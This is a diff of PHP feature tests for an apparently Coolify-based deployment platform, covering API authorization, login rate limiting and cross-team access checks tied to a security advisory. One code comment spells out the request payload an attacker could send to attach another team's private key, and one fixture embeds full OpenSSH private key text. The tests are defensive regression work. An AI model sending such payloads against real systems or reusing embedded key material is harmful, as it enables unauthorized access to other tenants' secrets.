+    test('returns 422 when pull_request_id is not a positive integer', function () {
+        $response = $this->withHeaders(previewAuthHeaders($this->bearerToken))
+            ->deleteJson("/api/v1/applications/{$this->application->uuid}/previews/0");
+
+        $response->assertStatus(422)
+            ->assertJson(['message' => 'Invalid pull_request_id.']);
+    });
+
+    test('soft-deletes the preview and returns 200 on success', function () {
+        $preview = createPreview($this->application, 42);
+
+        $response = $this->withHeaders(previewAuthHeaders($this->bearerToken))
+            ->deleteJson("/api/v1/applications/{$this->application->uuid}/previews/42");
+
+        $response->assertOk()
+            ->assertJson(['message' => 'Preview deletion request queued.']);
+
+        expect($preview->fresh()->trashed())->toBeTrue();
+    });
+
+    test('returns 403 when token lacks write ability', function () {
+        $readOnlyToken = createTeamApiToken($this->user, $this->team, ['read']);
+        createPreview($this->application, 7);
+
+        $response = $this->withHeaders(previewAuthHeaders($readOnlyToken))
+            ->deleteJson("/api/v1/applications/{$this->application->uuid}/previews/7");
+
+        $response->assertForbidden();
+    });
+});

tests/Feature/ApplicationPreviewImageNameTest.php

@@ -0,0 +1,126 @@
+<?php
+
+use App\Jobs\ApplicationDeploymentJob;
+use App\Models\Application;
+
+function makePreviewImageNameJob(string $commit, int $pullRequestId = 42, ?string $registryImageName = null, string $deploymentUuid = 'deployment-uuid'): object
+{
+    $reflection = new ReflectionClass(ApplicationDeploymentJob::class);
+    $job = $reflection->newInstanceWithoutConstructor();
+
+    $application = new Application;
+    $application->uuid = 'preview-app';
+    $application->build_pack = 'dockerfile';
+    $application->dockerfile = null;
+    $application->docker_registry_image_name = $registryImageName;
+
+    foreach ([
+        'application' => $application,
+        'pull_request_id' => $pullRequestId,
+        'commit' => $commit,
+        'deployment_uuid' => $deploymentUuid,
+    ] as $property => $value) {
+        $reflectionProperty = $reflection->getProperty($property);
+        $reflectionProperty->setAccessible(true);
+        $reflectionProperty->setValue($job, $value);
+    }
+
+    return $job;
+}
+
+function generatePreviewImageNames(object $job): array
+{
+    $reflection = new ReflectionClass(ApplicationDeploymentJob::class);
+    $method = $reflection->getMethod('generate_image_names');
+    $method->setAccessible(true);
+    $method->invoke($job);
+
+    $buildImageName = $reflection->getProperty('build_image_name');
+    $buildImageName->setAccessible(true);
+
+    $productionImageName = $reflection->getProperty('production_image_name');
+    $productionImageName->setAccessible(true);
+
+    return [
+        'build' => $buildImageName->getValue($job),
+        'production' => $productionImageName->getValue($job),
+    ];
+}
+
+it('includes the pull request id and commit in preview image names', function () {
+    $names = generatePreviewImageNames(makePreviewImageNameJob(
+        commit: '111222333444555666777888999000aaabbbccc1',
+        pullRequestId: 123,
+    ));
+
+    expect($names['production'])->toBe('preview-app:pr-123-111222333444555666777888999000aaabbbccc1')
+        ->and($names['build'])->toBe('preview-app:pr-123-111222333444555666777888999000aaabbbccc1-build');
+});
+
+it('generates different preview image names for different commits on the same pull request', function () {
+    $firstCommitNames = generatePreviewImageNames(makePreviewImageNameJob(
+        commit: 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa',
+        pullRequestId: 123,
+    ));
+    $secondCommitNames = generatePreviewImageNames(makePreviewImageNameJob(
+        commit: 'bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb',
+        pullRequestId: 123,
+    ));
+
+    expect($firstCommitNames['production'])->not->toBe($secondCommitNames['production'])
+        ->and($firstCommitNames['build'])->not->toBe($secondCommitNames['build']);
+});
+
+it('uses the deployment uuid for preview image names when commit is HEAD', function () {
+    $firstDeploymentNames = generatePreviewImageNames(makePreviewImageNameJob(
+        commit: 'HEAD',
+        pullRequestId: 123,
+        deploymentUuid: 'deployment-one',
+    ));
+    $secondDeploymentNames = generatePreviewImageNames(makePreviewImageNameJob(
+        commit: 'HEAD',
+        pullRequestId: 123,
+        deploymentUuid: 'deployment-two',
+    ));
+
+    expect($firstDeploymentNames['production'])->toBe('preview-app:pr-123-deployment-one')
+        ->and($firstDeploymentNames['build'])->toBe('preview-app:pr-123-deployment-one-build')
+        ->and($secondDeploymentNames['production'])->toBe('preview-app:pr-123-deployment-two')
+        ->and($secondDeploymentNames['build'])->toBe('preview-app:pr-123-deployment-two-build');
+});
+
+it('uses the configured registry image name for commit-specific preview tags', function () {
+    $names = generatePreviewImageNames(makePreviewImageNameJob(
+        commit: '111222333444555666777888999000aaabbbccc1',
+        pullRequestId: 123,
+        registryImageName: 'registry.example.com/team/app',
+    ));
+
+    expect($names['production'])->toBe('registry.example.com/team/app:pr-123-111222333444555666777888999000aaabbbccc1')
+        ->and($names['build'])->toBe('registry.example.com/team/app:pr-123-111222333444555666777888999000aaabbbccc1-build');
+});
+
+it('sanitizes and truncates preview image tags to docker tag limits', function () {
+    $names = generatePreviewImageNames(makePreviewImageNameJob(
+        commit: str_repeat('feature/add dockerfile changes/', 10),
+        pullRequestId: 123,
+    ));
+
+    $productionTag = str($names['production'])->after(':')->toString();
+    $buildTag = str($names['build'])->after(':')->toString();
+
+    expect(strlen($productionTag))->toBeLessThanOrEqual(128)
+        ->and(strlen($buildTag))->toBeLessThanOrEqual(128)
+        ->and($productionTag)->toMatch('/^pr-123-[A-Za-z0-9_.-]+$/')
+        ->and($buildTag)->toMatch('/^pr-123-[A-Za-z0-9_.-]+-build$/');
+});
+
+it('keeps non-preview dockerfile image names commit based', function () {
+    $names = generatePreviewImageNames(makePreviewImageNameJob(
+        commit: '111222333444555666777888999000aaabbbccc1',
+        pullRequestId: 0,
+    ));
+
+    expect($names['production'])->toBe('preview-app:111222333444555666777888999000aaabbbccc1')
+        ->and($names['build'])->toBe('preview-app:111222333444555666777888999000aaabbbccc1-build');
+});

tests/Feature/ApplicationRailpackTest.php

@@ -0,0 +1,150 @@
+<?php
+
+use App\Models\Application;
+use App\Models\Environment;
+use App\Models\EnvironmentVariable;
+use App\Models\Project;
+use App\Models\Team;
+use Illuminate\Foundation\Testing\RefreshDatabase;
+
+uses(RefreshDatabase::class);
+
+describe('Application Railpack Support', function () {
+    beforeEach(function () {
+        $team = Team::factory()->create();
+        $project = Project::factory()->create(['team_id' => $team->id]);
+        $this->environment = Environment::factory()->create(['project_id' => $project->id]);
+    });
+
+    test('could_set_build_commands returns true for railpack', function () {
+        $application = Application::factory()->create([
+            'environment_id' => $this->environment->id,
+            'build_pack' => 'railpack',
+        ]);
+
+        expect($application->could_set_build_commands())->toBeTrue();
+    });
+
+    test('could_set_build_commands returns true for nixpacks', function () {
+        $application = Application::factory()->create([
+            'environment_id' => $this->environment->id,
+            'build_pack' => 'nixpacks',
+        ]);
+
+        expect($application->could_set_build_commands())->toBeTrue();
+    });
+
+    test('could_set_build_commands returns false for dockerfile', function () {
+        $application = Application::factory()->create([
+            'environment_id' => $this->environment->id,
+            'build_pack' => 'dockerfile',
+        ]);
+
+        expect($application->could_set_build_commands())->toBeFalse();
+    });
+
+    test('railpack_environment_variables returns only RAILPACK_ prefixed vars', function () {
+        $application = Application::factory()->create([
+            'environment_id' => $this->environment->id,
+            'build_pack' => 'railpack',
+        ]);
+
+        EnvironmentVariable::create([
+            'resourceable_type' => Application::class,
+            'resourceable_id' => $application->id,
+            'key' => 'RAILPACK_NODE_VERSION',
+            'value' => '20',
+            'is_buildtime' => true,
+            'is_preview' => false,
+        ]);
+
+        EnvironmentVariable::create([
+            'resourceable_type' => Application::class,
+            'resourceable_id' => $application->id,
+            'key' => 'REGULAR_VAR',
+            'value' => 'value',
+            'is_buildtime' => false,
+            'is_preview' => false,
+        ]);
+
+        EnvironmentVariable::create([
+            'resourceable_type' => Application::class,
+            'resourceable_id' => $application->id,
+            'key' => 'NIXPACKS_NODE_VERSION',
+            'value' => '18',
+            'is_buildtime' => true,
+            'is_preview' => false,
+        ]);
+
+        $railpackVars = $application->railpack_environment_variables;
+        expect($railpackVars)->toHaveCount(1);
+        expect($railpackVars->first()->key)->toBe('RAILPACK_NODE_VERSION');
+    });
+
+    test('runtime_environment_variables excludes RAILPACK_ and NIXPACKS_ prefixed vars', function () {
+        $application = Application::factory()->create([
+            'environment_id' => $this->environment->id,
+            'build_pack' => 'railpack',
+        ]);
+
+        EnvironmentVariable::create([
+            'resourceable_type' => Application::class,
+            'resourceable_id' => $application->id,
+            'key' => 'RAILPACK_NODE_VERSION',
+            'value' => '20',
+            'is_buildtime' => true,
+            'is_preview' => false,
+        ]);
+
+        EnvironmentVariable::create([
+            'resourceable_type' => Application::class,
+            'resourceable_id' => $application->id,
+            'key' => 'NIXPACKS_NODE_VERSION',
+            'value' => '18',
+            'is_buildtime' => true,
+            'is_preview' => false,
+        ]);
+
+        EnvironmentVariable::create([
+            'resourceable_type' => Application::class,
+            'resourceable_id' => $application->id,
+            'key' => 'APP_ENV',
+            'value' => 'production',
+            'is_buildtime' => false,
+            'is_preview' => false,
+        ]);
+
+        $runtimeVars = $application->runtime_environment_variables;
+        expect($runtimeVars)->toHaveCount(1);
+        expect($runtimeVars->first()->key)->toBe('APP_ENV');
+    });
+
+    test('railpack_environment_variables_preview returns only RAILPACK_ prefixed preview vars', function () {
+        $application = Application::factory()->create([
+            'environment_id' => $this->environment->id,
+            'build_pack' => 'railpack',
+        ]);
+
+        EnvironmentVariable::create([
+            'resourceable_type' => Application::class,
+            'resourceable_id' => $application->id,
+            'key' => 'RAILPACK_BUILD_CMD',
+            'value' => 'npm run build',
+            'is_buildtime' => true,
+            'is_preview' => true,
+        ]);
+
+        EnvironmentVariable::create([
+            'resourceable_type' => Application::class,
+            'resourceable_id' => $application->id,
+            'key' => 'REGULAR_VAR',
+            'value' => 'value',
+            'is_buildtime' => false,
+            'is_preview' => true,
+        ]);
+
+        $previewVars = $application->railpack_environment_variables_preview;
+        expect($previewVars)->toHaveCount(1);
+        expect($previewVars->first()->key)->toBe('RAILPACK_BUILD_CMD');
+    });
+});

tests/Feature/ApplicationRollbackTest.php

@@ -6,7 +6,7 @@ use App\Models\ApplicationSetting;
 describe('Application Rollback', function () {
     beforeEach(function () {
         $this->application = new Application;
-        $this->application->forceFill([
+        $this->application->fill([
             'uuid' => 'test-app-uuid',
             'git_commit_sha' => 'HEAD',
         ]);

tests/Feature/ApplicationSeederTest.php

@@ -0,0 +1,39 @@
+<?php
+
+use App\Models\Application;
+use Database\Seeders\ApplicationSeeder;
+use Database\Seeders\GithubAppSeeder;
+use Database\Seeders\PrivateKeySeeder;
+use Database\Seeders\ProjectSeeder;
+use Database\Seeders\ServerSeeder;
+use Database\Seeders\StandaloneDockerSeeder;
+use Database\Seeders\TeamSeeder;
+use Database\Seeders\UserSeeder;
+use Illuminate\Foundation\Testing\RefreshDatabase;
+
+uses(RefreshDatabase::class);
+
+it('seeds the default applications without railpack examples', function () {
+    $this->seed([
+        UserSeeder::class,
+        TeamSeeder::class,
+        PrivateKeySeeder::class,
+        ServerSeeder::class,
+        ProjectSeeder::class,
+        StandaloneDockerSeeder::class,
+        GithubAppSeeder::class,
+        ApplicationSeeder::class,
+    ]);
+
+    $nixpacksExample = Application::where('uuid', 'nodejs')->first();
+
+    expect($nixpacksExample)
+        ->not->toBeNull()
+        ->and($nixpacksExample->name)->toBe('NodeJS Fastify Example')
+        ->and($nixpacksExample->build_pack)->toBe('nixpacks')
+        ->and($nixpacksExample->base_directory)->toBe('/nodejs')
+        ->and($nixpacksExample->ports_exposes)->toBe('3000');
+
+    expect(Application::query()->where('build_pack', 'railpack')->exists())->toBeFalse();
+    expect(Application::query()->whereIn('uuid', ['railpack-nodejs', 'railpack-static'])->exists())->toBeFalse();
+});

tests/Feature/ApplicationServerStatusBadgeTest.php

@@ -0,0 +1,42 @@
+<?php
+
+function renderApplicationServerStatusBadge(?bool $serverStatus, string $status = 'running', bool $hasAdditionalServers = false): string
+{
+    $application = new class($serverStatus, $status, $hasAdditionalServers)
+    {
+        public function __construct(
+            public ?bool $server_status,
+            public string $status,
+            private bool $hasAdditionalServers,
+        ) {}
+
+        public function additional_servers(): object
+        {
+            return new class($this->hasAdditionalServers)
+            {
+                public function __construct(private bool $exists) {}
+
+                public function exists(): bool
+                {
+                    return $this->exists;
+                }
+            };
+        }
+    };
+
+    return view('livewire.project.application.server-status-badge', [
+        'application' => $application,
+    ])->render();
+}
+
+it('does not show the unreachable server badge when server status is unknown', function () {
+    $html = renderApplicationServerStatusBadge(null);
+
+    expect($html)->not->toContain('One or more servers are unreachable or misconfigured.');
+});
+
+it('shows the unreachable server badge only when server status is false', function () {
+    $html = renderApplicationServerStatusBadge(false);
+
+    expect($html)->toContain('One or more servers are unreachable or misconfigured.');
+});

tests/Feature/ApplicationSourceCrossTeamTest.php

@@ -0,0 +1,127 @@
+<?php
+
+use App\Livewire\Project\Application\Source;
+use App\Models\Application;
+use App\Models\Environment;
+use App\Models\GithubApp;
+use App\Models\InstanceSettings;
+use App\Models\PrivateKey;
+use App\Models\Project;
+use App\Models\Server;
+use App\Models\Team;
+use App\Models\User;
+use Illuminate\Foundation\Testing\RefreshDatabase;
+use Livewire\Features\SupportLockedProperties\CannotUpdateLockedPropertyException;
+use Livewire\Livewire;
+use Visus\Cuid2\Cuid2;
+
+uses(RefreshDatabase::class);
+
+/**
+ * Create a PrivateKey without firing model events. The PrivateKey `saving`
+ * hook validates/fingerprints real key material and the `saved` hook writes
+ * to the filesystem — neither is wanted in a unit test. Skipping events also
+ * skips BaseModel's uuid generation, so the uuid is set explicitly here (it
+ * is not in $fillable, so it cannot go through mass assignment).
+ */
+function makePrivateKey(string $name, string $material, string $fingerprint, int $teamId): PrivateKey
+{
+    return PrivateKey::withoutEvents(function () use ($name, $material, $fingerprint, $teamId) {
+        $key = new PrivateKey([
+            'name' => $name,
+            'private_key' => "-----BEGIN OPENSSH PRIVATE KEY-----\n{$material}\n-----END OPENSSH PRIVATE KEY-----",
+            'fingerprint' => $fingerprint,
+            'team_id' => $teamId,
+        ]);
+        $key->uuid = (string) new Cuid2;
+        $key->save();
+
+        return $key;
+    });
+}
+
+beforeEach(function () {
+    // handleError() turns a ModelNotFoundException into abort(404); rendering the 404
+    // page reads InstanceSettings::get(), which findOrFail(0)s. Seed the singleton row.
+    // `id` is not in $fillable, so it must be set outside of mass assignment.
+    if (! InstanceSettings::find(0)) {
+        $settings = new InstanceSettings;
+        $settings->id = 0;
+        $settings->save();
+    }
+
+    // Team A — the attacker
+    $this->userA = User::factory()->create();
+    $this->teamA = Team::factory()->create();
+    $this->teamA->members()->attach($this->userA->id, ['role' => 'owner']);
+    $this->projectA = Project::factory()->create(['team_id' => $this->teamA->id]);
+    $this->environmentA = Environment::factory()->create(['project_id' => $this->projectA->id]);
+    $this->applicationA = Application::factory()->create([
+        'environment_id' => $this->environmentA->id,
+        'private_key_id' => null,
+        'source_id' => null,
+        'source_type' => null,
+    ]);
+
+    // Team B — the victim (holds the secrets we are trying to steal)
+    $this->teamB = Team::factory()->create();
+
+    $this->victimPrivateKey = makePrivateKey('victim-ssh-key', 'VICTIM_KEY_MATERIAL', 'victim-fingerprint', $this->teamB->id);
+
+    $this->victimGithubApp = GithubApp::create([
+        'name' => 'victim-github-app',
+        'team_id' => $this->teamB->id,
+        'private_key_id' => $this->victimPrivateKey->id,
+        'api_url' => 'https://api.github.com',
+        'html_url' => 'https://github.com',
+        'is_public' => false,
+    ]);
+
+    $this->actingAs($this->userA);
+    session(['currentTeam' => $this->teamA]);
+});
+
+test('setPrivateKey rejects a PrivateKey owned by another team (GHSA-xrvp-4pp4-8rrw)', function () {
+    Livewire::test(Source::class, ['application' => $this->applicationA])
+        ->call('setPrivateKey', $this->victimPrivateKey->id);
+
+    $this->applicationA->refresh();
+    expect($this->applicationA->private_key_id)->not->toBe($this->victimPrivateKey->id);
+    expect($this->applicationA->private_key_id)->toBeNull();
+});
+
+test('setPrivateKey accepts a PrivateKey owned by the current team', function () {
+    $ownKey = makePrivateKey('own-ssh-key', 'OWN_KEY_MATERIAL', 'own-fingerprint', $this->teamA->id);
+
+    Livewire::test(Source::class, ['application' => $this->applicationA])
+        ->call('setPrivateKey', $ownKey->id);
+
+    $this->applicationA->refresh();
+    expect($this->applicationA->private_key_id)->toBe($ownKey->id);
+});
+
+test('changeSource rejects a GithubApp owned by another team (GHSA-xrvp-4pp4-8rrw)', function () {
+    Livewire::test(Source::class, ['application' => $this->applicationA])
+        ->call('changeSource', $this->victimGithubApp->id, GithubApp::class);
+
+    $this->applicationA->refresh();
+    expect($this->applicationA->source_id)->not->toBe($this->victimGithubApp->id);
+    expect($this->applicationA->source_type)->not->toBe(GithubApp::class);
+});
+
+test('changeSource rejects an arbitrary class as source_type', function () {
+    Livewire::test(Source::class, ['application' => $this->applicationA])
+        ->call('changeSource', $this->victimGithubApp->id, Server::class);
+
+    $this->applicationA->refresh();
+    expect($this->applicationA->source_type)->not->toBe(Server::class);
+});
+
+test('privateKeyId is locked so submit() cannot persist a client-supplied foreign id', function () {
+    // Without #[Locked], an attacker could POST {"updates": {"privateKeyId": <foreign_id>},
+    // "calls": [{"method": "submit"}]} and have syncData(true) write the foreign id through
+    // Application::update(['private_key_id' => $this->privateKeyId]) — bypassing setPrivateKey()
+    // and its team-scoped lookup entirely. Locking the property closes that path at the wire layer.
+    Livewire::test(Source::class, ['application' => $this->applicationA])
+        ->set('privateKeyId', $this->victimPrivateKey->id);
+})->throws(CannotUpdateLockedPropertyException::class);

tests/Feature/ApplicationSourceLocalhostKeyTest.php

@@ -24,12 +24,23 @@ beforeEach(function () {
     $this->environment = Environment::factory()->create(['project_id' => $this->project->id]);
 });
 
+function applicationSourceValidPrivateKey(): string
+{
+    return '-----BEGIN OPENSSH PRIVATE KEY-----
+b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
+QyNTUxOQAAACBbhpqHhqv6aI67Mj9abM3DVbmcfYhZAhC7ca4d9UCevAAAAJi/QySHv0Mk
+hwAAAAtzc2gtZWQyNTUxOQAAACBbhpqHhqv6aI67Mj9abM3DVbmcfYhZAhC7ca4d9UCevA
+AAAECBQw4jg1WRT2IGHMncCiZhURCts2s24HoDS0thHnnRKVuGmoeGq/pojrsyP1pszcNV
+uZx9iFkCELtxrh31QJ68AAAAEXNhaWxANzZmZjY2ZDJlMmRkAQIDBA==
+-----END OPENSSH PRIVATE KEY-----';
+}
+
 describe('Application Source with localhost key (id=0)', function () {
     test('renders deploy key section when private_key_id is 0', function () {
         $privateKey = PrivateKey::create([
             'id' => 0,
             'name' => 'localhost',
-            'private_key' => 'test-key-content',
+            'private_key' => applicationSourceValidPrivateKey(),
             'team_id' => $this->team->id,
         ]);
 
@@ -56,4 +67,19 @@ describe('Application Source with localhost key (id=0)', function () {
             ->assertDontSee('Deploy Key')
             ->assertSee('No source connected');
     });
+
+    test('dispatches configuration changed when source settings are saved', function () {
+        $application = Application::factory()->create([
+            'environment_id' => $this->environment->id,
+            'git_repository' => 'coollabsio/coolify',
+            'git_branch' => 'main',
+            'git_commit_sha' => 'HEAD',
+        ]);
+
+        Livewire::test(Source::class, ['application' => $application])
+            ->set('gitBranch', 'next')
+            ->call('submit')
+            ->assertHasNoErrors()
+            ->assertDispatched('configurationChanged');
+    });
 });

tests/Feature/ApplicationStoppedAfterRestartLimitTest.php

@@ -0,0 +1,82 @@
+<?php
+
+use App\Actions\Application\StopApplication;
+use App\Models\Application;
+use App\Notifications\Application\RestartLimitReached;
+
+function applicationWithRestartState(array $attributes = []): Application
+{
+    $application = new Application;
+    $application->forceFill(array_merge([
+        'status' => 'exited:unhealthy',
+        'restart_count' => 2,
+        'max_restart_count' => 2,
+        'last_restart_type' => 'crash',
+        'last_restart_at' => now(),
+    ], $attributes));
+
+    return $application;
+}
+
+it('detects applications stopped after reaching the crash restart limit', function () {
+    expect(applicationWithRestartState()->stoppedAfterRestartLimit())->toBeTrue()
+        ->and(applicationWithRestartState(['status' => 'running:unhealthy'])->stoppedAfterRestartLimit())->toBeFalse()
+        ->and(applicationWithRestartState(['restart_count' => 1])->stoppedAfterRestartLimit())->toBeFalse()
+        ->and(applicationWithRestartState(['max_restart_count' => 0])->stoppedAfterRestartLimit())->toBeFalse()
+        ->and(applicationWithRestartState(['last_restart_type' => null])->stoppedAfterRestartLimit())->toBeFalse();
+});
+
+it('shows a stopped after restart limit warning in the status badge', function () {
+    $html = view('components.status.index', [
+        'resource' => applicationWithRestartState(),
+        'showRefreshButton' => false,
+    ])->render();
+
+    expect($html)->toContain('Stopped after reaching restart limit (2/2).')
+        ->and($html)->toContain('Container has crashed and Coolify stopped it after 2 restart attempts.');
+});
+
+it('does not show the restart limit warning for a normal manual stop', function () {
+    $html = view('components.status.index', [
+        'resource' => applicationWithRestartState([
+            'restart_count' => 0,
+            'last_restart_type' => null,
+        ]),
+        'showRefreshButton' => false,
+    ])->render();
+
+    expect($html)->not->toContain('Stopped after reaching restart limit');
+});
+
+it('keeps restart tracking configurable when stopping an application', function () {
+    $method = new ReflectionMethod(StopApplication::class, 'handle');
+    $resetRestartCount = collect($method->getParameters())->firstWhere('name', 'resetRestartCount');
+
+    expect($resetRestartCount)->not->toBeNull()
+        ->and($resetRestartCount->getDefaultValue())->toBeTrue();
+});
+
+it('uses the application link for restart limit notifications', function () {
+    $application = new class extends Application
+    {
+        public function link()
+        {
+            return 'https://coolify.test/project/link-from-model';
+        }
+    };
+    $application->forceFill([
+        'name' => 'crashy-app',
+        'uuid' => 'application-uuid',
+        'restart_count' => 2,
+        'max_restart_count' => 2,
+    ]);
+    $application->setRelation('environment', (object) [
+        'uuid' => 'environment-uuid',
+        'name' => 'production',
+        'project' => (object) ['uuid' => 'project-uuid'],
+    ]);
+
+    $notification = new RestartLimitReached($application);
+
+    expect($notification->resource_url)->toBe('https://coolify.test/project/link-from-model');
+});

tests/Feature/Auth/LoginRateLimitIPTest.php

@@ -0,0 +1,68 @@
+<?php
+
+use App\Models\InstanceSettings;
+use App\Models\User;
+use Illuminate\Foundation\Testing\RefreshDatabase;
+use Illuminate\Support\Facades\RateLimiter;
+
+uses(RefreshDatabase::class);
+
+beforeEach(function () {
+    InstanceSettings::updateOrCreate(['id' => 0]);
+    RateLimiter::clear('login');
+
+    $this->user = User::factory()->create([
+        'email' => 'test@example.com',
+        'password' => bcrypt('password'),
+    ]);
+});
+
+test('login is rate limited after 5 failed attempts from same IP', function () {
+    $email = 'test@example.com';
+
+    // First 5 attempts should be accepted (302 redirect back with error, not 429)
+    for ($i = 1; $i <= 5; $i++) {
+        $response = $this->post('/login', [
+            'email' => $email,
+            'password' => 'wrong-password',
+        ]);
+
+        expect($response->status())->toBe(302, "Attempt {$i} should redirect (302), got {$response->status()}");
+    }
+
+    // 6th attempt from same IP should be throttled
+    $response = $this->post('/login', [
+        'email' => $email,
+        'password' => 'wrong-password',
+    ]);
+
+    expect($response->status())->toBe(429, 'Expected 429 Too Many Requests after exceeding rate limit');
+});
+
+test('rate limit is scoped per email and IP combination', function () {
+    // Exhaust rate limit for first email
+    for ($i = 1; $i <= 5; $i++) {
+        $this->post('/login', [
+            'email' => 'test@example.com',
+            'password' => 'wrong-password',
+        ]);
+    }
+
+    // Different email from same IP should still work (different composite key)
+    $response = $this->post('/login', [
+        'email' => 'other@example.com',
+        'password' => 'wrong-password',
+    ]);
+
+    expect($response->status())->toBe(302, 'Different email should not be rate limited');
+});
+
+test('successful login is still possible within rate limit', function () {
+    $response = $this->post('/login', [
+        'email' => 'test@example.com',
+        'password' => 'password',
+    ]);
+
+    $response->assertRedirect();
+    expect($response->status())->not->toBe(429);
+});

tests/Feature/Authorization/ApiAuthorizationTest.php

@@ -0,0 +1,218 @@
+<?php
+
+use App\Models\Application;
+use App\Models\InstanceSettings;
+use App\Models\Project;
+use App\Models\Server;
+use App\Models\StandaloneDocker;
+use App\Models\StandalonePostgresql;
+use App\Models\Team;
+use App\Models\User;
+use Illuminate\Foundation\Testing\RefreshDatabase;
+use Illuminate\Support\Facades\DB;
+use Illuminate\Support\Str;
+
+uses(RefreshDatabase::class);
+
+beforeEach(function () {
+    InstanceSettings::updateOrCreate(['id' => 0], ['is_api_enabled' => true]);
+
+    $this->team = Team::factory()->create();
+
+    $this->admin = User::factory()->create();
+    $this->admin->teams()->attach($this->team, ['role' => 'admin']);
+
+    $this->member = User::factory()->create();
+    $this->member->teams()->attach($this->team, ['role' => 'member']);
+
+    $keyId = DB::table('private_keys')->insertGetId([
+        'uuid' => (string) Str::uuid(),
+        'name' => 'Test Key',
+        'private_key' => 'test-key',
+        'team_id' => $this->team->id,
+        'created_at' => now(),
+        'updated_at' => now(),
+    ]);
+
+    $this->server = Server::factory()->create([
+        'team_id' => $this->team->id,
+        'private_key_id' => $keyId,
+    ]);
+
+    StandaloneDocker::withoutEvents(function () {
+        $this->destination = StandaloneDocker::firstOrCreate(
+            ['server_id' => $this->server->id, 'network' => 'coolify'],
+            ['uuid' => (string) Str::uuid(), 'name' => 'test-docker']
+        );
+    });
+
+    $this->project = Project::create([
+        'uuid' => (string) Str::uuid(),
+        'name' => 'Test Project',
+        'team_id' => $this->team->id,
+    ]);
+
+    $this->environment = $this->project->environments()->first();
+
+    $this->application = Application::factory()->create([
+        'uuid' => (string) Str::uuid(),
+        'name' => 'Test App',
+        'environment_id' => $this->environment->id,
+        'destination_id' => $this->destination->id,
+        'destination_type' => $this->destination->getMorphClass(),
+        'status' => 'running',
+    ]);
+
+    $this->database = StandalonePostgresql::create([
+        'uuid' => (string) Str::uuid(),
+        'name' => 'Test DB',
+        'postgres_user' => 'postgres',
+        'postgres_password' => 'password',
+        'postgres_db' => 'testdb',
+        'image' => 'postgres:15',
+        'status' => 'running',
+        'environment_id' => $this->environment->id,
+        'destination_id' => $this->destination->id,
+        'destination_type' => $this->destination->getMorphClass(),
+    ]);
+
+    // Create real tokens with team_id (createToken reads from session)
+    session(['currentTeam' => $this->team]);
+    $this->adminRootToken = $this->admin->createToken('admin-root', ['root']);
+    $this->adminReadToken = $this->admin->createToken('admin-read', ['read']);
+    $this->memberRootToken = $this->member->createToken('member-root', ['root']);
+});
+
+// --- Unauthenticated Access ---
+
+test('unauthenticated request to api returns 401', function () {
+    $this->getJson('/api/v1/projects')->assertStatus(401);
+});
+
+// --- Admin with root token ---
+
+test('admin with root token can list projects', function () {
+    $this->withToken($this->adminRootToken->plainTextToken)
+        ->getJson('/api/v1/projects')
+        ->assertSuccessful();
+});
+
+test('admin with root token can view project', function () {
+    $this->withToken($this->adminRootToken->plainTextToken)
+        ->getJson("/api/v1/projects/{$this->project->uuid}")
+        ->assertSuccessful();
+});
+
+test('admin with root token can view application', function () {
+    $this->withToken($this->adminRootToken->plainTextToken)
+        ->getJson("/api/v1/applications/{$this->application->uuid}")
+        ->assertSuccessful();
+});
+
+test('admin with root token can view server', function () {
+    $this->withToken($this->adminRootToken->plainTextToken)
+        ->getJson("/api/v1/servers/{$this->server->uuid}")
+        ->assertSuccessful();
+});
+
+test('admin with root token can view database', function () {
+    $this->withToken($this->adminRootToken->plainTextToken)
+        ->getJson("/api/v1/databases/{$this->database->uuid}")
+        ->assertSuccessful();
+});
+
+// --- Member with root token (policy should deny mutations) ---
+
+test('member with root token is blocked by middleware', function () {
+    $this->withToken($this->memberRootToken->plainTextToken)
+        ->getJson("/api/v1/projects/{$this->project->uuid}")
+        ->assertStatus(403);
+});
+
+test('member with root token cannot delete project', function () {
+    $this->withToken($this->memberRootToken->plainTextToken)
+        ->deleteJson("/api/v1/projects/{$this->project->uuid}")
+        ->assertStatus(403);
+});
+
+test('member with root token cannot update application', function () {
+    $this->withToken($this->memberRootToken->plainTextToken)
+        ->patchJson("/api/v1/applications/{$this->application->uuid}", [
+            'name' => 'New Name',
+        ])
+        ->assertStatus(403);
+});
+
+test('member with root token cannot delete application', function () {
+    $this->withToken($this->memberRootToken->plainTextToken)
+        ->deleteJson("/api/v1/applications/{$this->application->uuid}")
+        ->assertStatus(403);
+});
+
+test('member with root token cannot delete server', function () {
+    $this->withToken($this->memberRootToken->plainTextToken)
+        ->deleteJson("/api/v1/servers/{$this->server->uuid}")
+        ->assertStatus(403);
+});
+
+test('member with root token cannot update server', function () {
+    $this->withToken($this->memberRootToken->plainTextToken)
+        ->patchJson("/api/v1/servers/{$this->server->uuid}", [
+            'name' => 'New Server Name',
+        ])
+        ->assertStatus(403);
+});
+
+// --- Token ability checks ---
+
+test('read-only token cannot create project', function () {
+    $this->withToken($this->adminReadToken->plainTextToken)
+        ->postJson('/api/v1/projects', [
+            'name' => 'New Project',
+        ])
+        ->assertStatus(403);
+});
+
+test('read-only token cannot delete application', function () {
+    $this->withToken($this->adminReadToken->plainTextToken)
+        ->deleteJson("/api/v1/applications/{$this->application->uuid}")
+        ->assertStatus(403);
+});
+
+// --- Cross-team isolation ---
+
+test('user from different team cannot view project via api', function () {
+    $otherTeam = Team::factory()->create();
+    $otherUser = User::factory()->create();
+    $otherUser->teams()->attach($otherTeam, ['role' => 'admin']);
+    session(['currentTeam' => $otherTeam]);
+    $otherToken = $otherUser->createToken('other-root', ['root']);
+
+    $this->withToken($otherToken->plainTextToken)
+        ->getJson("/api/v1/projects/{$this->project->uuid}")
+        ->assertStatus(404);
+});
+
+test('user from different team cannot view application via api', function () {
+    $otherTeam = Team::factory()->create();
+    $otherUser = User::factory()->create();
+    $otherUser->teams()->attach($otherTeam, ['role' => 'admin']);
+    session(['currentTeam' => $otherTeam]);
+    $otherToken = $otherUser->createToken('other-root', ['root']);
+
+    $this->withToken($otherToken->plainTextToken)
+        ->getJson("/api/v1/applications/{$this->application->uuid}")
+        ->assertStatus(404);
+});
+
+test('user from different team cannot view server via api', function () {
+    $otherTeam = Team::factory()->create();
+    $otherUser = User::factory()->create();
+    $otherUser->teams()->attach($otherTeam, ['role' => 'admin']);
+    session(['currentTeam' => $otherTeam]);
